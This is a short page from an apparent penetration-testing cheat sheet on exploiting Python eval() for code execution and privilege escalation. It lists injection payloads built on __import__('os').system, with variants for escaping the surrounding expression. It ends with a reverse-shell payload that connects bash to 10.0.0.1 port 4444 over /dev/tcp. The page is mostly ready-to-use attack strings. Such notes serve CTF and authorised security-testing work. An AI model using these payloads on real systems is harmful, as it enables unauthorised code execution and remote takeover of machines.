> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/python-eval-code-execution.md).

# Python Eval Code Execution

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/#investigation) <a href="#investigation" id="investigation"></a>

```py
eval(text)
eval(f"5 + {num}")
Copied!
```

If the Python script allows us to input some value to the **"text"** variable, we can inject arbitrary code.

<br>

### [Arbitrary Code Execution](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/#arbitrary-code-execution) <a href="#arbitrary-code-execution" id="arbitrary-code-execution"></a>

Most of the time, we need to bypass another expression to execute our desired command.

```html
__import__('os').system('id')

<!-- Bypass another expression in eval -->
),__import__('os').system('id')
'),__import__('os').system('id')
},__import__('os').system('id')
),__import__('os').system('id')#
Copied!
```

#### [Reverse Shell](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/#reverse-shell) <a href="#reverse-shell" id="reverse-shell"></a>

```html
__import__('os').system('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"')
```